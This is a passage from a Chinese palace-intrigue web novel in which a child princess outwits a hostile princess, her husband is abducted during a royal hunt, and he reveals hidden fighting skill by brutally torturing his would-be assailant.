“既然来了,这次就好好学学,朕不要求你骑射精湛,但能学点本事也是好的。
他对这个儿子要求不高,能如现在一般,已经让他十分满意了。
司徒砚乖乖点点头:“父皇放心,我会好好学的。
司徒擎嗯了声,正想着今日好像安静了点,一转头就看见往常话多的谢元棠这会儿正低着小脑袋,两只小手正在碎花小挎包里掏啊掏,看起来像一只笨拙的小仓鼠。
司徒擎好笑地看着她:“谢元棠,你在找什么?
“父皇等一下,我这包里银票太多了,不好找。
司徒擎:“……他那六儿子到底送了她多少份子钱!
好一会儿,谢元棠才从里面翻出两张叠好的纸来,松了口气小跑上前。
“父皇你看,这是夫君送给您的礼物哦~
随着她跑到近前,头上的铃铛步摇声音清脆,看起来可爱极了。
“哦?
司徒擎有些惊讶,看看那张纸,又看看司徒砚:“朕也有礼物?
司徒砚有些不好意思地挠挠头:“父皇帮我赶走杜韦,我也要谢谢父皇的。
司徒擎这才明白过来,合着这份礼
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物是他儿子给他的谢礼?
他觉得有点好笑,又有点心酸。
当爹这么多年,他从来没有为这个儿子真正做过什么,唯一一次帮他,竟还收到了谢礼。
将那两张大纸
展开,司徒擎这才发现原来竟是一张写好的大字。
“开开心心,万事顺遂。”
很简单的祝福语,甚至字也写得不好看,但却足以让司徒擎心头微震。
他看着那八个字,又看看司徒砚:“这是你写的?”
这个儿子自幼痴傻,从未上过学堂,认字都困难,更别提笔墨了。
如今竟然会写字了!
“娘子教我的……”
司徒砚点头,红着脸道:“刚开始学,写得不好。”
“父皇,夫君写了好多张呢~”
谢元棠小胳膊伸开比划着:“一屋子那么多哦,手都写酸了,这两张是写得最好的,所以送给父皇。”
司徒擎看看脸上害羞,却没有怯懦躲闪的儿子,再看看灵动大方的小儿媳,嘴角笑容更甚。
“元棠认得字?”
谢元棠微愣,想了想道:“以前住在农庄的时候,见过别人写,偷偷学的。”
“好,好啊!”
司徒擎点点头,摸摸她的小脑袋:“元棠教的好,砚儿学的也好!”
司徒砚见父皇没有生气,反而还表扬了他,桃花眼不由弯了弯:“父皇喜欢就好,我……以后学更多字,再写给父皇看。”
司徒擎想了想,干脆大手一挥道:“这样,你们两个回头都去学堂上学去。”
儿子肯学那是好事,他当然也希望司徒砚越来越好。
司徒砚愣了下,谢元棠反应更快,拉着他就道谢:“多谢父皇。”
“哦,对了。”
司徒擎看着谢元棠,笑了笑道:“皇后跟朕提了你学规矩的事情,等这次围猎回去,你可就得去宫里报道了。”
“啊?”
谢元棠呆了,犹豫着问:“我能不去吗?”
司徒擎似笑非笑:“你说呢?”
谢元棠:“……”
靠!
第23章 小三,你的裙子质量不太好啊
从司徒擎那里回来的时候,谢元棠还闷着小脸闷闷不乐。
红蕖不明所以地问:“这是怎么了?难道是因为六皇子的事情,惹皇上发怒了?”
“父皇没发怒啊。”
司徒砚手里还拿着块糕,闻言道:“父皇还留我和娘子吃过午饭才回的。”
“那……”
红蕖疑惑地看看谢元棠,谢元棠撇撇嘴道:“父皇说围猎回去后,我和夫君可以去学堂上学了。”
“真的?”红蕖兴奋地道,“这可太好了,这说明皇上看重殿下和皇子妃您啊,您不高兴什么呢?”
话音刚落,就看见谢元棠小脸更臭了:“父皇还说我除了去学堂,还得进宫跟皇后学规矩,你说我能笑得出来吗?”
红蕖:“……那是不能。”
想起姜皇后那张伪善的脸,谢元棠就觉得心里窝火,忍不住嘟囔了句:“老妖婆!”
想用宫里的规矩来整她?那也得看看谁斗得过谁!
看着自家小皇妃战斗劲儿十足的样子,红蕖后背忽地一紧,总觉得……有人要遭殃了!
晌后,谢元棠照例递给司徒砚一支营养液。
因着司徒砚体内的余毒未消,她现在的身体又太弱,没办法帮他将毒素除干净,于是只能每隔几日让他吃一枚解毒丸,再喝支营养液。
这样就算一时半会儿除不了体内的毒,也能保证他的身体抵抗性越来越强,等她再恢复一些力气,便能帮他进行第二阶段的治疗了。
自然,这些司徒砚都是不知道的,他只当谢元棠给他吃的是一种很新奇的茶。
“娘子,为什么我都找不到你的茶叶放在哪里了啊?”司徒砚好奇地看着茶杯,“而且每次喝完你给我的茶以后,我都觉得很舒服,好像充满了力气似的。”
谢元棠心说那当然了,末世第一医学博士配制的营养液给你当水喝,就算是头死牛也能活蹦乱跳了!
不过到底受毒的影响,司徒砚没多会儿就睡了,谢元棠被皇后气得睡不着,索性带着红蕖出门在附近小花园溜达。
刚走出院门就看见迎面走来一行人。
为首的年轻女子一身淡粉色的宫裙,数着斜云髻,耳边坠着两颗和衣服同色的粉珍珠镂金耳环,那周身的傲然和骄横之气,谢
元棠想都不用想就知道必定又是哪位公主了。
她身旁跟着一个同样穿戴华丽的女子,身材高挑,容貌端丽,只看外貌倒是很赏心悦目的美人一个。
“糟了皇子妃!是三公主!”
红蕖一眼看见来人,立刻就急了:“怎么办?三公主一定是来找您麻烦的。”
“找我麻烦?”
谢元棠眨了眨眼:“为什么?”
宫里那几位,她只见过四皇子司徒烨和六皇子司徒煦,这三公主哪儿来的?
她正疑惑着,就听见红蕖小声道:“当然是因为您拿了六皇子的玉佩啊!”
谢元棠愣了下,终于想起这位三公主是谁了。
三公主司徒凤,和六皇子司徒煦一母同胞的龙凤胎姐弟俩,其母妃俪妃虽然母族比不上虞国公府势大,但却是目前最受皇上喜欢的一位。
也因此,司徒煦和司徒凤这对姐弟俩在行事作风上,可谓跟司徒烨不相上下,甚至更甚。
谢元棠理清楚这背后的人物关系,倒是没有慌乱,只是有些好奇地盯着司徒凤的脸瞧,小声嘟囔了句:“这对龙凤胎倒是长得不大像……”
她声音低,红蕖没有听清楚,还在着急地问:“怎么办怎么办,要不奴婢还是去叫殿下起来吧!”
虽然他们殿下来了也没多大卵用,但好歹是皇室一家人,总比小皇妃自个儿面对要好一些。
谢元棠抬手阻止她,嘴角一弯笑得不以为意:“不用,她们只是来送钱的。”
送钱的?
红蕖看着气势汹汹的司徒凤,没忍住问了句:“皇子妃,您……确定吗?”
“当然,这都是我的财神爷呢!”
谢元棠说完,看着已经走近的司徒凤,自如地走上去,亲切地叫了声:“三妹妹!”
司徒凤:“……”
她想起弟弟说的话,当下黑着脸瞪着谢元棠
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:“谁是你三妹!一个上不得台面的东西也配叫本公主三妹,你找死吗?”
红蕖在一旁战战兢兢地行礼,心里正想着怎么求三公主放过她家小皇妃,就听见谢元棠语不惊人死不休地来了句:“不叫三妹叫什么?难不成要叫你……小三?”
“啪叽!”
红蕖双膝一软跪在地上,悬着的心终于死了!
司徒凤的性子跟司徒煦简直一脉相承,甚至更火爆。
谢元棠这话刚落,司徒凤的巴掌就扇了过来:“小贱人!本公主撕烂你的嘴!
她可没有她弟弟那些规矩。
什么不打女人不打小孩,在她这里统统没有,谁惹她不高兴,她就打谁!
可惜巴掌落了空。
谢元棠仗着身高,哦不,身低优势,毫不费力地往前一扑就躲过了那个巴掌。
而谢元棠扑的动作却没停下,直接抱着司徒凤的大腿就冲了过去。
“哎呀!怎么回事,好像站不稳了呢~
谢元棠假惺惺地喊了声,顺手保住司徒凤的腿,小手往下大力一扯!
只听“刺啦一声,司徒凤昂贵奢华的宫裙瞬间碎裂,掉落下来,露出里面白色的衬裤。
“啊……你干什么!
司徒凤还没反应过来,底下就突然一阵凉快。
她慌乱地连忙搂住碎裂的裙摆,身旁的宫女也傻眼了,一个个赶紧扑上前去,又是脱下衣服帮她遮挡,又是围起来不让身后的侍卫看的。
一时间一个个都忙碌了起来,只有谢元棠全身而退。
小手里还抓着两片粉色的布料,随风飞扬着,宣告着她的战绩!
红蕖紧张地看着她:“皇子妃,您……没事吧?
“我看起来像有事的样子吗?
谢元棠笑着拍拍她肩膀:“放心吧,有事的可不是我。
红蕖看看那头乱成一团的众人,下意识咽了口口水。
心说看出来的,有事的不是您,但搞事的是您啊!
谢元棠笑着冲司徒凤招招手道:“小三,你的裙子质量不太好啊。
第24章 见鬼都能扒层皮!
司徒凤看着她手里的东西,恨得咬牙切齿:“谢元棠!本宫一定要杀了你!”
谢元棠眨眨眼,无辜地望着她:“为什么?明明是你先打得我,我躲的时候没站稳才会撕了你的衣服,如果你不打我,我也不会站不稳了呀。”
司徒凤身上裹着宫女们的衣服,恨恨地推开身边的人,指着谢元棠道:“还不是你先辱骂本公主,你叫本公主什么?”
“小三呀。”
谢元棠歪了歪脑袋,大眼睛里满是单纯:“明明是你不让我叫你三妹妹的,直呼姓名你又要说我不尊重你,难道叫你小三也不行?”
顿了顿,她长吁了口气道:“唉~当人嫂子可真难啊!”
“谢!元!棠!”
司徒凤气得跺脚,冲上前就想打谢元棠,结果她那边一伸手,谢元棠就也伸出了手,做出了要扑过去的架势。
司徒凤:“……”
这一巴掌是怎么也打不下去了!
“哼,真没想到五皇妃竟然是这样的!”
一道阴阳怪气的声音响起:“难道丞相大人就是这样教导女儿的吗?简直贻笑大方!”
“谁在说话?”
“红蕖你听见了吗?”
谢元棠掏掏耳朵,仰头看来看去,就是故意不看声源处。
“谢元棠,你在看哪里!”
一直跟在司徒凤身边的美貌女子走上前,盯着谢元棠道:“本小姐在这里,你在看哪儿?”
谢元棠仰头看着这人,没吭声,而是小手摸着下巴,认真地思考着:“你也是公主?”
那人愣了下,还没说话,司徒凤就替她开口道:“这位是工部侍郎陆大人的千金,陆紫珊。”
司徒凤顺带鄙夷地瞥了眼谢元棠:“紫珊可是京城有名的才女,跟你这种废物不一样!”
听着司徒凤这话,陆紫珊下意识挺直了脊背,傲视着谢元棠。
“工部侍郎的女儿。”
谢元棠眼尾一挑,忽然笑着问:“工部侍郎的女儿比皇子妃的位份还大吗?已经可以见到本妃不行礼了?”
陆紫珊骤然一僵,转头委屈地看向司徒凤:“公主……”
司徒凤冷哼道:“谢元棠,你少在那里拿着鸡毛当令箭,紫珊跟别人可不一样,
要不是她因替家人守孝三年,本来这五皇子妃合该是她的!哪里还轮得到你这种货色!
谢元棠恍然大悟,她就说怎么这陆紫珊一出场,看着她的眼神中就满是敌意,比司徒凤还要恨她,原来还是“情敌啊!
谢元棠微微一笑,凉凉道:“那又如何?今日五皇子妃是我谢元棠,不是她陆紫珊。
司徒凤眉头微皱,一旁的陆紫珊眼神沉了沉,面上却是扯出一抹苦涩的弧度:“公主不必替紫珊说话,紫珊……愿意行礼。
说罢,她深吸口气,不卑不亢地给谢元棠跪下:“陆紫珊见过皇子妃。
谢元棠走到她面前,拍拍她的肩膀道:“还算懂事,往后见了我就要跪下,知道吗?不然下次我让我爹找你爹谈谈话也行啊。
虽然渣爹不做人,但奈何“丞相这个身份很够用啊。
谢元棠可是一点都不介意,甚至巴不得帮谢兆青多拉点仇恨值!
陆紫珊脸色微白,刚想说什么,忽然谢元棠手伸过来,将那两片粉色的布料塞进她怀里。
“刚才三妹妹裙子烂了的时候,就属你跑得最远,喏,这个奖励你!
陆紫珊:“……
司徒凤幽幽地看了眼陆紫珊,陆紫珊连忙解释:“公主不是这样的,我没有……
“回去本公主再找你算账。
司徒凤瞪了她一眼,转头看向谢元棠:“闲话少说,煦儿的玉佩呢?
那温玉可不是一般东西,绝不是谢元棠这种人配拥有的。
谢元棠眨眨眼,大眼睛里闪着星星笑意:“给夫君戴着呢,哎呀不是我说,六弟真的很会送礼呢,我拿去给父皇看的时候,父皇还夸他呢。
“你说什么?
司徒凤皱起眉头:“你拿给父皇看过了?
“对呀!
司徒凤脸色暗沉,如果父皇看过那玉佩,并且还同意让司徒砚戴着,那她就不合适再要回来了。
正愁怎么索要玉佩的时候,就看见谢元棠从小挎包里掏出一个巴掌大的小本子,还有一支小巧的炭笔。
“这是什么?司徒凤沉声问。
不知为何,看着那个小本子,她心里忽然就
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生起一股不好的预感。
若是司徒烨和司徒煦
在这里,此时此刻,必定会对她大喊一声:
“快跑!”
可惜他们不在,“单纯”的司徒凤还不了解谢元棠“见鬼都能扒层皮”的风格。
听着司徒凤问,谢元棠笑得更开怀了,十分热情地为她介绍:“这是我的记账本啊,收到的每一笔份子钱都写在里面呢。”
顿了顿,她露出天真无邪的大眼睛盯着司徒凤:“三妹妹难道你不是来送份子钱的吗?”
司徒凤讥笑一声:“简直恬不知耻,谁要给你份子钱?你配吗你!”
谢元棠也不生气,她又问:“那你来干嘛的?”
“我当然是……”
司徒凤刚想说她是来索要玉佩的,话音刚出口,目光落在谢元棠手里的账本上,眉心蹙得更紧了。
玉佩在父皇那里过了目,她想要也难,而且这账本……要是让人知道她将司徒煦的份子钱又要了回去,也太丢人了!
她那边还没想好怎么做,谢元棠就忽然大声道:“我明白了!三妹妹是想将六弟的份子钱要回去是吗?”
“我……”
“可以呀,没问题的!”
谢元棠笑着点点头,双髻上的铃铛清脆作响。
“份子钱这种事,本来就是一个你情我愿,我又不会强迫谁。”
“红蕖,你去将玉佩拿出来,还有那些银票。”
谢元棠一边说话,一边将账本打开:“三妹妹你稍等啊,我这就将六弟的账划掉。”
说着,就要拿那支炭笔划下去,司徒凤心中一紧,连忙道:“慢着!”
“怎么了三妹妹?”谢元棠疑惑地看着她。
份子钱事小,丢面子事大!
他们姐弟宁可丢钱,绝不丢人!
想到这里,司徒凤一咬牙道:“我不是来要玉佩的,我是来……”
“来干嘛的?”
“来……”
司徒凤捂着滴血的心口,深吸口气道:“我是来给你送份子钱的!”
听见这话的红蕖脚下一绊,差点摔个大马趴。
还真让她家小皇妃说对了,还真是来了个财神爷啊!
第25章 司徒砚不见了
“碧玺项链一串,玛瑙手镯一支,翡翠玉佩一块……”
谢元棠一边让红蕖收礼,一边翻开小本本记账。
记完还不忘抬起脑袋,眼巴巴看着司徒凤,仿佛在说:还有吗还有吗?
司徒凤自动脑补完她的眼神,顿时憋得小脸通红:“我……今天出门没带钱。”
事实上,她就没打算带着钱过来!
谁他妈又能想到她堂堂公主,最栽在谢元棠这个九岁的豆芽菜手里呢!
在司徒凤的想象中,她应该霸气十足的登场,然后将谢元棠狠狠地整治一顿,最后看着她跪在自己面前痛苦忏悔!
至今,司徒凤都没想明白怎么会变成这样的结果!
谢元棠可不管那么多,既然你敢上门找茬,她就敢把茬种你身上!
听见司徒凤说没钱,谢元棠小脸上立刻扬起“善解人意”的笑容,甜甜地说:“没关系啦,三妹妹何须跟嫂子我这般客气?”
“难道嫂子我还贪图你那俩份子钱不成?”
她一口一个嫂子,听得司徒凤老血都快喷出来了。
尤其看见她还用炭笔在小本本上画了个圈,司徒凤心里那点不容践踏的骄傲之魂瞬间燃烧!
“你在画什么?”
司徒凤瞪着她手里的炭笔问。
谢元棠眨眨眼,长长的睫毛在眼皮上投射出一排浅灰色的影子来,灵动地如同山间精灵:“没画什么呀,只是记清楚账而已,回头要给夫君看的。”
司徒凤沉了脸,忍不住多想。
给司徒砚看?那个傻子会看什么?
该不是……
想起谢元棠说她将那块温玉也给父皇看过,司徒凤不由想着该不会谢元棠也会把账本给父皇看吧?
那她要是在这个账本里给的钱最少,岂不是丢人要丢到姥姥家了!
想到这里,司徒凤一狠心一咬牙,瞪着谢元棠道:“不准画!本公主只是没带钱而已,又不是不给你别的东西了。”
“这个,是佛音阁的会员扳指印章,送你了!”
一边说,司徒凤将手指上戴着的一枚精美的白玉扳指摘下来扔给谢元棠。
旁边陆紫珊看见她连这个都送了出去,惊得不由呼出声:“公主,那可是……”
“不
必多说。司徒凤冷哼一声,低头看着谢元棠,“你还愣着干什么?快记账啊!
谢元棠:“……
她看得出来那扳指大概是个顶好的东西,不然司徒凤不会一脸血亏的表情。
“那个……谢元棠小声道,“其实真不用的,三妹妹给的份子钱已经够多了,嫂子我跟你五哥……
“闭嘴!
司徒凤听不得她自称“嫂子,那简直比拽她裙子还让她觉得侮辱:“给你你就收着,再多说一个字,我打死你!
谢元棠撇撇嘴,小声嘟囔:“切~收就收嘛,真凶!
司徒凤:“……
她后悔了,她一开始就不该来找谢元棠。
仇的一点没报,气却一点没少受!
真真是花钱买生气!
司徒凤冷哼一声,转身就想走,只是还不等她抬脚,忽然看见谢元棠拿着她那个该死的小本本,一蹦一跳走到了陆紫珊面前。
陆紫珊:“???
谢元棠也不说话,就拿着小本本,仰起头,用她那双墨黑墨黑的大眼睛盯着她看。
陆紫珊:“!!!
她真不想看懂!
请问她现在跑还来得及吗?
司徒凤挑了挑眉,也不着急走了。
心理学上说自己倒霉的时候,看见有人比自己还倒霉,心理就会莫名得到平衡,甚至会有种诡异的快感。
司徒凤现在就是如此,尤其刚才陆紫珊还得罪了她,她现在更不介意让对方大出血一下了。
想到这里,司徒凤淡定地抱胸站着,勾着嘴角道:“紫珊,本公主记得你有一套墨玉棋,据说是从天绝主持那里得到的,是连宫中都没有的珍品。
谢元棠眼睛一亮:“哇哦~我夫君最喜欢下棋了!
陆紫珊:“……司徒砚喜欢下棋?你骗鬼呢!
他只怕连棋子分黑白都不知道吧!
最后,司徒凤和陆紫珊灰溜溜地离开。
谢元棠喜滋滋地抱着小本本回了家!
“红蕖,你跟我讲讲那个佛音阁扳指是什么东东?
谢元棠
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问,刚才她就觉得奇怪了,要说这一个扳指而已,再贵重也比不上司徒煦的温玉和司徒煦的乌骓马,可陆紫珊和
红蕖的表情竟然都十分古怪。
谢元棠刚问出口,红蕖就惊呼道:“皇子妃,您不知道佛音阁吗?”
“不知道,很有名吗?”谢元棠摇摇头,她不知道的可多了去了。
红蕖咽了口口水,给她科普起来:“佛音阁是京城首富啊!而且佛音阁有个规定,凡是拥有佛音阁扳指印章的人,都可以无条件让佛音阁帮忙做一件事,不管是什么。”
谢元棠微微挑眉,又觉得好笑:“不管是什么事?要是有人想当皇帝……唔!”
话还没说出口,就被红蕖捂住了嘴巴。
红蕖脸都吓白了,紧张地四处看:“小祖宗,您可小声点吧,这要给人听见可还得了?”
谢元棠耸了耸肩,不以为意地将扳指收好。
她可不相信天上会掉馅饼,这什么佛音阁……听着就怪怪的。
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“走吧,我们去找夫君,得了这么多好东西,他一定很高兴。”
谢元棠说着,带着红蕖往回走。
只是走到门口才发现房门竟然开着,谢元棠怔了怔:“红蕖,刚才咱们出去没关门吗?”
“我记得关了啊。”红蕖疑惑地皱了皱眉。
谢元棠脸色微沉,快步跑过去。
房间里安静如常,什么异样都没有。
唯一不同的是,床上空无一人。
司徒砚不见了!
“殿下!”
跟在谢元棠后面进来的红蕖惊大了眼睛:“这……我们刚才就在门口,殿下怎么可能……”
谢元棠小脸顿时阴沉沉的,冷声道:“去找,让门口的侍卫帮着找,务必将人找到!”
“是。”
红蕖立刻领命跑了出去。
谢元棠没急着出门,她看了眼周遭,最后将视线落在床边。
司徒砚的鞋子还好端端放在那里。
正常人出门,会不穿鞋吗?
第26章 能不能留住你的命,就看你跑得快不快了
就算司徒砚是傻子,可谢元棠从没见过他出门不穿鞋的。
何况谢元棠每天都跟他在一起,午睡前才给他喝过营养剂,比任何人都清楚他的身体状况。
如今的司徒砚,绝不可能发病!
“皇子妃,奴婢已经让所有人都帮忙去找了。”
红蕖急忙忙跑进来,喘着粗气禀报道。
谢元棠一边快步往外走,一边冷静地吩咐道:“你也去找,半个时辰后,如果还找不到人,那就不必找了。”
“不必……找了?”红蕖愣了下,一时没听懂她的意思。
谢元棠点点头,看着红蕖道:“到时你直接去找皇上,找不到皇上就去找言太傅,告诉他们司徒砚不见了,并且不要说司徒砚是自己不见的,要说他恐怕是被人劫持了,将情况往重了说,若还不行,就尽量将多的人拖下水,比如司徒煦和司徒凤。”
谢元棠身高低,红蕖明明站得比她高出许多,可只要被那双黑沉如水的眼眸一扫,她就好像心里被冰霜震了一下似的,下意识就想服从。
红蕖呆呆地点点头,直到谢元棠往外走才反应过来,急忙追上去问:“那皇子妃您呢?”
“我?”
谢元棠扯了下嘴角,冷声道:“我去别处找,你不用担心我,只管照我的吩咐去做就行。”
曾在末世生存过的本能直觉告诉她,司徒砚不会在这里。
谢元棠一路不停直接去了后院。
马厩里,仿佛是感知到众人紧张的情绪,乌骓马不停地用前腿踢着木栏,发出急迫的嘶鸣。
“乖小乖,我们这就去找夫君!”
谢元棠走过去,解下缰绳跳上马,小手一挥缰绳,乌骓马立刻嘶鸣一声,带着她窜出去老远。
皇家的围猎场几乎将半座山都包围了起来,从住处出去不远,便是大片辽阔的草地,再往后便是茂密的山林。
“驾!”
谢元棠骑着小乖,目的地直奔那片深不见山的树林。
——
另一边,红蕖带着人找遍了住处周围所有的地方,甚至还跑去了三公主和六皇子等人的住处周围寻找,可半个时辰过去,仍然不见司徒砚的踪影。
“红蕖姑娘,这可怎么办?”
侍卫也慌了
,要是五皇子在他们的保护下不见了,那他们的脑袋也别想保住了。
红蕖想起谢元棠离开前说的话,咬了咬牙道:“如今只要这样做了。”
她看向那个叫罗吉的侍卫,沉声道:
“听着,能不能留住你的命,就看你跑得快不快了……”
罗吉脸色苍白地听红蕖说完,结巴道:“我知,知道了……那红蕖姑娘你……”
“我去找皇上。”
红蕖说完,毫不犹豫转身就往皇上住的地方跑。
罗吉望着她的背影,紧了紧拳对身边其他人道:“你们接着找人,我去找言太傅。”
此刻罗吉无比庆幸他不是第一次来围猎场,知道朝中大臣住在哪儿,否则今日等他闷头跑过去,只怕黄花菜都凉了。
这一时刻,不管是红蕖还是罗吉,所有人心中都只有一个想法:
苍天保佑,司徒砚没有事!
这一次围猎,司徒擎只带了俪妃和虞贵妃,此刻他正在俪妃出歇息,忽然听见外面闹哄哄的。
不一会儿曲培进来,声音略带急切:“皇上,五殿下不见了。”
“嗯?”
司徒擎一时都没反应过来:“怎么不见了?砚儿不是才从朕这里走吗?”
“是……”
曲培语速很快:“说是五殿下半个时辰前就不见了,找遍了地方也没找到,来报的宫女就在外头,皇上要见吗?”
“让她进来。”
司徒擎沉着脸坐起来,旁边俪妃急忙帮他更衣,颇为不解地小声道:“怎么会这么突然就不见了?该不是去哪儿玩了吧?”
司徒擎没说话,红蕖进来,跪下刚想要行礼,司徒擎就抬手打断道:“废话少说,砚儿怎么回事?元棠呢?她不是跟砚儿在一起,难道也不见了?”
红蕖眼眶红红的,却牢牢记得谢元棠的吩咐,清晰地道:“回皇上,晌午殿下睡着后,三公主忽然到访……”
说这话时她看了眼俪妃
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,又急忙低下头道:“皇子妃带着奴婢在门口跟三公主说了好一会儿话,等三公主带人离开后,我们再回去,殿下就不见了。”
“房门开着,里头什么都没动过,连鞋子还在那里,可殿下人就是没了。”
“奴婢跟皇子妃都在门口,侍卫也
都守着,谁也没见到他出去,找遍了周围也都没发现。”
她几句话说完经过,还不等司徒擎说话,就忽然听见俪妃开口:“真是奇怪啊。”
“该不会是跟他那个小皇妃玩捉迷藏呢吧?”俪妃在一旁轻飘飘地说,“砚儿那人本来就贪玩,说不定藏哪儿了故意不让你们找到,衣柜里桌子底下这种地方可都找了?”
闻言,司徒擎皱紧眉头道:“再派人去找,围猎场就这么大,他那么大一个人能跑哪儿去?”
红蕖愣了下,此刻她才忽然意识到,为什么谢元棠让她将事情往严重了说。
因为司徒砚的呆傻,很容易让人忽略他的安危,所有人都会以为他是自己跑丢的。
红蕖忽然大声道:“皇上,我们殿下不是自己跑了,他是失踪了,是被人劫持了!”
“我们皇子妃说,能在这样紧密的守卫中带走殿下的绝不是一般人,还请皇上立刻派人搜寻,否则时间晚了就来不及了!”
“放肆!”
俪妃冷声道:“一个小小的宫女也敢跟皇上大呼小叫,而且你有什么证据他是被劫持了?”
红蕖深吸口气,看着俪妃,再次庆幸谢元棠的聪慧。
她咬了咬牙,豁出去似的说:“俪妃娘娘,如果今日不是三公主忽然找上门,我家殿下就不会失踪了!”
“而且殿下和皇子妃来到围猎场,除了见皇上之外,只见过六殿下和三公主。”
俪妃脸色噌一下就变了。
“你这话什么意思?”
红蕖不答她,只朝司徒擎磕了下头道:“皇子妃一人骑马追了出去,如今还不知生死,请皇上速速派人,救救我家殿下和皇子妃!”
司徒擎脸色阴沉,冷声道:“曲培,传令下去,即刻派人去找!”
“是!”
第27章 傻夫君的真面目
茂密的山林越往深处,越遮天蔽日。
林子最深处靠着山涧,五十米高的崖边垂挂着丈宽的瀑布,哗啦啦的水声打在崖壁山石上,清灵悦耳,叮当作响。
如果忽略它的危险性,倒是一处美不胜收的绝佳景区。
只可惜,总有人要打破这样静谧的美景。
一片安静中,忽地,树枝“梭梭”作响。
“嘎——嘎——”
无数惊鸟掠出山林,齐飞而去。
一道蒙着面的黑衣人缓缓走到崖边。
他肩上扛着一个人,那人昏睡不醒,腰间一枚晶润的玉佩在斜阳的照射下反出点点光亮,一头墨色的长发顺垂而下,仿佛沉睡的精灵,美得让人不敢亵渎。
“啪!”
黑衣人将昏睡的男人粗暴地扔在地上,冷哼道:“一个傻子而已,竟然还劳烦你爷爷三番两次动手,啐!”
嫌恶地踹了他一脚,黑衣人正准备一刀砍下,视线忽然被那块温玉给晃了下眼。
他愣了一下,毫不犹豫地蹲下,将温玉从司徒砚腰间扯下。
“这么好的东西,给你这个要死的废物陪葬也是浪费,不如便宜了你爷爷我!”
黑衣人一边抬手不客气地拍打在司徒砚的脸颊上,一边说着糙话:“啧啧,明明是个傻子,却偏偏长了这么一张祸国殃民的脸,果真是天下第一美人的种啊。”
“也不知道当年的言意澜是不是也如此容颜绝代,啧,可惜便宜了那老皇帝……”
黑衣人嘴里说着浑话,丝毫没有注意到,原本沉睡的男人手指忽地动了下。
视线落在那张白皙俊美的脸颊上,黑衣人忽地一顿,眼里闪过极度邪恶的念头。
“尝不到言意澜的滋味,如今换成她儿子也是不错。”
一边说着,他一边抬手就去撕司徒砚的衣服。
“放肆!”
就在他手要碰到司徒砚的一刹那,一直紧闭的双眼忽然睁开!
墨亮的桃花眼闪过厉色,仿佛刀剑出鞘,寒芒乍露!
“啪!”
一只看似无力的大手牢牢地扼住那只犯贱的爪子,让他丝毫动弹不得!
司徒砚脸如冰霜,冷冰冰地盯着面前的黑衣人。
“你干什么?”
黑衣人愣了下,大概是没想到司徒砚会在这个时候醒过来。
不过他很快无所谓地扯了下嘴角:“哟,傻子醒了?
“真是命大啊,那包蒙汗药都能药倒一头牛了,你竟然这么快就醒了过来,果真是难对付!
他一边说,一边放肆地上下打量司徒砚,阴笑道:“醒了也好,爷爷就不喜欢玩那种规矩的,有人在旁边叫着喊着才更能助兴。
司徒砚不说话,抿紧了唇,跟看死人一样看着他。
如果是谢元棠等人在这里,就会立刻发现此时的司徒砚很不对劲。
如果是言墨在这里,更会惊讶司徒砚竟然在这会儿“清醒了过来。
可惜面前的黑衣人秽虫上脑,只以为司徒砚是被“吓傻了。
“小傻子,放心,爷爷保证会让你在死之前,好好享受一番!
他大笑起来,猖狂的笑声回荡在山林间,悠长又放肆。
司徒砚跟没感觉似的,桃花眼中没有恐惧,没有慌乱,只有空洞的冰冷。
他盯着面前男人的面罩,冷声问:“谁派你来的?
“呵,想知道?
黑衣人挑起司徒砚的下巴,贪婪地看着他:“陪爷爷好好玩玩,爷爷就发发善心告诉你怎么样?
司徒砚看着他,眼睫微微扇了下,视线下落到那只碰到他下巴的手指上,微微闪过一丝恶心,忽地叹了口气。
“本来不想这么做的。
他话说得奇怪,黑衣人愣了下,下意识问:“你这话什么意思?
司徒砚伸出手,轻轻抬起,缓缓搭在男人手腕上。
接着,在黑衣人还没反应过来的霎那,猛地用力!
“咔嚓!
只听一声脆响,男人手腕忽的整个被折断!
“啊啊啊啊!
黑衣人惨叫出声,捂着断手倒在旁边的地上,弓着身子不停地抽搐。
司徒砚缓缓站起身,走到他面前。
“你,你怎么会……
“你会武功!
男人总算发现眼前的司徒砚不
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正常了,他爬起来就想跑。
可他快,司徒砚比他更快!
暗红色的衣衫如同一道残影,在原地“倏地闪过,下
一瞬精准地拦截在黑衣人面前伸出一脚踢在他的胸骨上。
“咔!”
“唔!”
黑衣人闷哼一声捂着断裂的胸骨再次倒翻在地。
崖边的清泉发出有节奏的滴石声仿佛在给这场碾压性的战斗助威喝彩。
“你别过来!”
黑衣人一边往后挪着一边惊恐地看着司徒砚。
他想不通一个傻子怎么会忽然变得这么厉害!
而且竟然一直都没有人知道!
看着司徒砚越走越近黑衣人呼吸都急了咬牙道:“你不想知道是谁派我来的吗?放过我我就告诉你。”
“没必要。”
司徒砚淡淡说着微微抬起手活动了下修长的五指。
他甚至没有任何兵器就只用那双手就轻易地将黑衣人碾压到完全没有反抗之力!
“不管是什么人派来的总归去处都一样。”
“去去处?”
黑衣人呆呆地看见司徒砚扬起一抹好看又致命的微笑:
“地狱啊。”
司徒砚一边说着一边淡然地走过去。
抬脚
“咔嚓”一声
再抬脚
“唔!”黑衣人口吐鲜血。
司徒砚一点都不着急让他死甚至更像在玩一种很新的游戏。
踩踩踩踩断你身上一百零八根骨头!
“还有八十二根你比上次那人强一点他只撑到九十九根就死了呢~”
“唔不不要……”
黑衣人被折磨怕了他甚至连求生的本能都没了只想求死。
“求求你杀了我!杀了我!”
“杀你?”
司徒砚歪了歪头桃花眼中闪过一丝诡异的暗芒俊美的脸在阳光山涧下像天神下凡一般神性但一开口却又仿佛堕神入魔妖邪横行。
罂红的薄唇微微勾起一抹邪肆的弧度司徒砚磁性的嗓音说出让人心如死灰的话。
“不是你让我陪你玩的吗?”
第28章 娘子,我怎么在这里?
“不不不,我不玩了,不玩了……”
黑衣人四肢俱断,狼狈地在瀑布边爬行着,地上拖出一长溜的血迹。
司徒砚就看着他爬,桃花眼淡漠薄情,仿佛在看一只蚂蚁。
只在那只蚂蚁想要自裁的时候,出手……哦不,出脚踩断他一根骨头,警告他游戏还未结束!
“求求你,求求你五殿下,杀了我吧,我再也不敢了,不敢了……”
黑衣人哭着哀求,他宁可死,也不想再体会这种生不如死的感觉!
“再也不敢了?”
司徒砚微微挑眉,重复着他的话,冷笑道:“你竟然以为自己还有‘再’的机会?看来是身上断的骨头还不够多啊!”
说着,抬起大长腿朝他踢过去。
“啊啊啊啊!”
只听一连串的惨叫声,男人跟肉泥一样瘫在那里,出气多进气少地盯着司徒砚,跟看鬼一样。
“你不是司徒砚,你不是五皇子,你到底是……是人是鬼!”
